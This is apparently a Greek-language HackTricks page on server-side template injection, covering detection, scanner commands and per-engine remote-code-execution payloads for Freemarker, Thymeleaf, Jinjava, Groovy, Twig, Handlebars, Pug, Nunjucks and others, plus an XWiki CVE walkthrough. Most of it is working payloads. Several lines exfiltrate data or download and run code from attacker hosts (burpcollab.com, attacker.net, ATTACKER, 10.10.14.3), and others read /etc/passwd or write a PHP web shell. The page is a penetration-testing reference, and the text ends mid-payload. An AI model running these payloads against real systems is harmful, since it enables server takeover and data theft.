SSTI (Server Side Template Injection)

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Τι είναι SSTI (Server-Side Template Injection)

Server-side template injection είναι μια ευπάθεια που προκύπτει όταν ένας επιτιθέμενος μπορεί να εισάγει κακόβουλο code μέσα σε ένα template που εκτελείται στον server. Αυτή η ευπάθεια μπορεί να βρεθεί σε διάφορες τεχνολογίες, συμπεριλαμβανομένου του Jinja.

Jinja είναι ένα δημοφιλές template engine που χρησιμοποιείται σε εφαρμογές web. Ας εξετάσουμε ένα παράδειγμα που δείχνει ένα ευάλωτο code snippet που χρησιμοποιεί Jinja:

output = template.render(name=request.args.get('name'))

Σε αυτόν τον ευάλωτο κώδικα, η παράμετρος name από το request του χρήστη περνάει απευθείας στο template χρησιμοποιώντας τη συνάρτηση render. Αυτό ενδέχεται να επιτρέψει σε έναν attacker να εγχύσει κακόβουλο κώδικα στην παράμετρο name, οδηγώντας σε server-side template injection.

Για παράδειγμα, ένας attacker θα μπορούσε να κατασκευάσει ένα request με ένα payload όπως το εξής:

http://vulnerable-website.com/?name={{bad-stuff-here}}

Το payload {{bad-stuff-here}} εισάγεται στην παράμετρο name. Αυτό το payload μπορεί να περιέχει Jinja template directives που επιτρέπουν σε έναν attacker να εκτελέσει μη εξουσιοδοτημένο κώδικα ή να χειριστεί τον template engine, ενδεχομένως αποκτώντας έλεγχο του server.

Για να προληφθούν οι server-side template injection vulnerabilities, οι developers πρέπει να διασφαλίζουν ότι τα user input καθαρίζονται (sanitized) και επικυρώνονται πριν εισαχθούν σε templates. Η εφαρμογή input validation και η χρήση context-aware escaping τεχνικών μπορεί να μειώσει τον κίνδυνο αυτής της ευπάθειας.

Detection

Για να εντοπιστεί το Server-Side Template Injection (SSTI), αρχικά, fuzzing the template είναι μια απλή προσέγγιση. Αυτό περιλαμβάνει την εισαγωγή μιας ακολουθίας ειδικών χαρακτήρων (${{<%[%'"}}%\) στο template και την ανάλυση των διαφορών στην απόκριση του server σε συνηθισμένα δεδομένα σε σύγκριση με αυτό το ειδικό payload. Δείκτες ευπάθειας περιλαμβάνουν:

  • Σφάλματα (errors) που αποκαλύπτουν την ευπάθεια και ενδεχομένως τον template engine.
  • Απουσία του payload στην ανάκλαση, ή τμήματά του να λείπουν, υπονοώντας ότι ο server το επεξεργάζεται διαφορετικά από κανονικά δεδομένα.
  • Plaintext Context: Διάκριση από XSS ελέγχοντας αν ο server αξιολογεί εκφράσεις template (π.χ. {{7*7}}, ${7*7}).
  • Code Context: Επιβεβαιώστε την ευπάθεια αλλάζοντας παραμέτρους εισόδου. Για παράδειγμα, αλλάξτε το greeting στο http://vulnerable-website.com/?greeting=data.username για να δείτε αν η έξοδος του server είναι δυναμική ή σταθερή, όπως στο greeting=data.username}}hello που επιστρέφει το username.

Identification Phase

Η ταυτοποίηση του template engine περιλαμβάνει ανάλυση μηνυμάτων σφάλματος ή χειροκίνητο testing διαφόρων language-specific payloads. Συνηθισμένα payloads που προκαλούν σφάλματα περιλαμβάνουν ${7/0}, {{7/0}}, και <%= 7/0 %>. Η παρατήρηση της απόκρισης του server σε μαθηματικές πράξεις βοηθά στον εντοπισμό του συγκεκριμένου template engine.

Identification by payloads

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg

Tools

TInjA

ένας αποδοτικός SSTI + CSTI scanner που χρησιμοποιεί καινοτόμα polyglots

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Template Injection Table

ένας διαδραστικός πίνακας που περιέχει τους πιο αποτελεσματικούς template injection polyglots μαζί με τις αναμενόμενες απαντήσεις των 44 πιο σημαντικών template engines.

Exploits

Generic

Σε αυτή την wordlist μπορείτε να βρείτε variables defined στα περιβάλλοντα μερικών από τις engines που αναφέρονται παρακάτω:

Java

Java - Basic injection

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Ανακτήστε τις μεταβλητές περιβάλλοντος του συστήματος

${T(java.lang.System).getenv()}

Java - Ανάκτηση /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Μπορείτε να δοκιμάσετε τα payloads σας στο https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Nothing
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox bypass

⚠️ λειτουργεί μόνο σε εκδόσεις του Freemarker κάτω από την 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Περισσότερες πληροφορίες

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Περισσότερες πληροφορίες

Thymeleaf

Στο Thymeleaf, ένα συνήθες τεστ για SSTI ευπάθειες είναι η έκφραση ${7*7}, η οποία ισχύει και για αυτήν τη μηχανή προτύπων. Για πιθανή εκτέλεση απομακρυσμένου κώδικα, μπορούν να χρησιμοποιηθούν εκφράσεις όπως οι παρακάτω:

  • SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Το Thymeleaf απαιτεί αυτές τις εκφράσεις να τοποθετούνται σε συγκεκριμένα attributes. Ωστόσο, υποστηρίζεται η expression inlining για άλλες θέσεις στο template, χρησιμοποιώντας σύνταξη όπως [[...]] ή [(...)]. Έτσι, ένα απλό SSTI τεστ payload θα μπορούσε να είναι [[${7*7}]].

Ωστόσο, η πιθανότητα να λειτουργήσει αυτό το payload είναι γενικά χαμηλή. Η προεπιλεγμένη ρύθμιση του Thymeleaf δεν υποστηρίζει δυναμική δημιουργία templates· τα templates πρέπει να είναι προκαθορισμένα. Οι προγραμματιστές θα χρειαστεί να υλοποιήσουν δικό τους TemplateResolver για να δημιουργούν templates από strings on-the-fly, κάτι που είναι ασυνήθιστο.

Το Thymeleaf προσφέρει επίσης expression preprocessing, όπου οι εκφράσεις εντός διπλών κάτω παύλων (__...__) προεπεξεργάζονται. Αυτή η δυνατότητα μπορεί να χρησιμοποιηθεί στην κατασκευή εκφράσεων, όπως επιδεικνύεται στην τεκμηρίωση του Thymeleaf:

#{selection.__${sel.code}__}

Παράδειγμα ευπάθειας στο Thymeleaf

Εξετάστε το ακόλουθο απόσπασμα κώδικα, το οποίο μπορεί να είναι ευάλωτο σε εκμετάλλευση:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

Αυτό υποδεικνύει ότι αν η template engine επεξεργαστεί αυτές τις εισόδους εσφαλμένα, μπορεί να οδηγήσει σε remote code execution με πρόσβαση σε URLs όπως:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Περισσότερες πληροφορίες

EL - Expression Language

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Παράκαμψη φίλτρων

Μπορούν να χρησιμοποιηθούν πολλαπλές εκφράσεις μεταβλητών. Αν ${...} δεν λειτουργεί, δοκίμασε #{...}, *{...}, @{...} ή ~{...}.

  • Διάβασε το /etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Προσαρμοσμένο Script για δημιουργία payload
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Περισσότερες Πληροφορίες

Spring View Manipulation (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Παλαιότερη έκδοση του Pebble ( < έκδοση 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Νέα έκδοση του Pebble :

{% raw %}
{% set cmd = 'id' %}
{% endraw %}






{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava είναι ένα έργο ανοιχτού κώδικα που αναπτύχθηκε από την Hubspot, διαθέσιμο στο https://github.com/HubSpot/jinjava/

Jinjava - Command execution

Διορθώθηκε από https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Περισσότερες πληροφορίες

Hubspot - HuBL (Java)

  • {% %} διαχωριστικά εντολών
  • {{ }} διαχωριστικά εκφράσεων
  • {# #} διαχωριστικά σχολίων
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - “A”
  • {{'a'.concat('b')}} - “ab”
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Αναζήτησε το “com.hubspot.content.hubl.context.TemplateContextRequest” και ανακάλυψε το Jinjava project on Github.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Περισσότερες πληροφορίες

Expression Language - EL (Java)

  • ${"aaaa"} - “aaaa”
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Η Expression Language (EL) είναι μια θεμελιώδης λειτουργία που διευκολύνει την αλληλεπίδραση μεταξύ του presentation layer (όπως web pages) και της application logic (όπως managed beans) στο JavaEE. Χρησιμοποιείται εκτενώς σε πολλές τεχνολογίες JavaEE για να απλοποιήσει αυτή την επικοινωνία. Οι κύριες τεχνολογίες JavaEE που αξιοποιούν EL περιλαμβάνουν:

  • JavaServer Faces (JSF): Χρησιμοποιεί EL για να συνδέει components σε JSF σελίδες με τα αντίστοιχα backend δεδομένα και ενέργειες.
  • JavaServer Pages (JSP): Το EL χρησιμοποιείται σε JSP για πρόσβαση και χειρισμό δεδομένων μέσα σε JSP σελίδες, καθιστώντας πιο εύκολη τη σύνδεση στοιχείων της σελίδας με τα δεδομένα της εφαρμογής.
  • Contexts and Dependency Injection for Java EE (CDI): Το EL ενσωματώνεται με CDI για να επιτρέψει ομαλή αλληλεπίδραση μεταξύ του web layer και των managed beans, εξασφαλίζοντας μια πιο συνεκτική δομή της εφαρμογής.

Δείτε την παρακάτω σελίδα για να μάθετε περισσότερα για την exploitation of EL interpreters:

EL - Expression Language

Groovy (Java)

Οι ακόλουθοι Security Manager bypasses προέρχονται από αυτό το writeup.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

XWiki SolrSearch Groovy RCE (CVE-2025-24893)

XWiki ≤ 15.10.10 (fixed in 15.10.11 / 16.4.1 / 16.5.0RC1) αποδίδει μη-εξουσιοδοτημένα RSS search feeds μέσω του Main.SolrSearch macro. Ο handler παίρνει το query parameter text, το περικλείει σε wiki syntax και αξιολογεί macros, οπότε η έγχυση }}} ακολουθούμενη από {{groovy}} εκτελεί αυθαίρετο Groovy στο JVM.

  1. Fingerprint & scope – Όταν το XWiki είναι reverse-proxied πίσω από host-based routing, fuzz το header Host (ffuf -u http://<ip> -H "Host: FUZZ.target" ...) για να εντοπίσετε τον wiki vhost, μετά περιηγηθείτε στο /xwiki/bin/view/Main/ και διαβάστε το footer (XWiki Debian 15.10.8) για να προσδιορίσετε την ευάλωτη έκδοση.
  2. Trigger SSTI – Κάντε request /xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20. Το RSS item <title> θα περιέχει την έξοδο του Groovy. Πάντα κάντε URL-encoding σε όλους τους χαρακτήρες ώστε τα κενά να παραμείνουν ως %20; η αντικατάσταση τους με + κάνει το XWiki να επιστρέφει HTTP 500.
  3. Run OS commands – Αντικαταστήστε το Groovy body με {{groovy}}println("id".execute().text){{/groovy}}. String.execute() ξεκινάει την εντολή απευθείας με execve(), οπότε τα shell metacharacters (|, >, &) δεν ερμηνεύονται. Χρησιμοποιήστε pattern download-and-execute αντίθετα:
  • "curl http://ATTACKER/rev -o /dev/shm/rev".execute().text
  • "bash /dev/shm/rev".execute().text (το script περιέχει τη λογική του reverse shell).
  1. Post exploitation – Το XWiki αποθηκεύει database credentials στο /etc/xwiki/hibernate.cfg.xml; leaking hibernate.connection.password δίνει πραγματικούς κωδικούς συστήματος που μπορούν να επαναχρησιμοποιηθούν για SSH. Αν το service unit έχει NoNewPrivileges=true, εργαλεία όπως /bin/su δεν θα αποκτήσουν επιπλέον προνόμια ακόμα και με έγκυρους κωδικούς, οπότε κάντε pivot μέσω SSH αντί να βασιστείτε σε τοπικά SUID binaries.

Το ίδιο payload λειτουργεί στο /xwiki/bin/get/Main/SolrSearch, και το Groovy stdout είναι πάντα ενσωματωμένο στο RSS title, οπότε είναι εύκολο να αυτοματοποιήσετε την καταγραφή/εκτέλεση εντολών.

Other Java

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Περισσότερες πληροφορίες

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Μορφή προτύπου

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Περισσότερες πληροφορίες

Plates (PHP)

Το Plates είναι μια μηχανή templating εγγενής στο PHP, εμπνευσμένη από το Twig. Ωστόσο, σε αντίθεση με το Twig, που εισάγει μια νέα σύνταξη, το Plates αξιοποιεί εγγενή κώδικα PHP στα templates, καθιστώντας το διαισθητικό για τους προγραμματιστές PHP.

Controller:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Πρότυπο σελίδας:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Πρότυπο διάταξης:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Περισσότερες πληροφορίες

PHPlib και HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB είναι το ίδιο με το PHPlib αλλά μεταφερμένο στο Pear.

authors.tpl

<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Περισσότερες πληροφορίες

Άλλο PHP

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Περισσότερες πληροφορίες

patTemplate (PHP)

patTemplate μη μεταγλωττιζόμενη PHP μηχανή templating, που χρησιμοποιεί XML tags για να διαιρέσει ένα έγγραφο σε διαφορετικά μέρη

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Περισσότερες πληροφορίες

Handlebars (NodeJS)

Path Traversal (περισσότερες πληροφορίες εδώ).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Σφάλμα
  • ${7*7} = ${7*7}
  • Τίποτα
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Περισσότερες πληροφορίες

JsRender (NodeJS)

ΠρότυποΠεριγραφή
Αξιολόγηση και απόδοση εξόδου
Αξιολόγηση και απόδοση εξόδου κωδικοποιημένης σε HTML
Σχόλιο
καιΕπιτρέπει κώδικα (απενεργοποιημένο από προεπιλογή)
  • = 49

Πλευρά πελάτη

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Πλευρά διακομιστή

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Περισσότερες πληροφορίες

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Παράδειγμα render από την πλευρά του server

var pugjs = require("pug")
home = pugjs.render(injected_page)

Περισσότερες πληροφορίες

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = Καμία έξοδος
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Σφάλμα
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
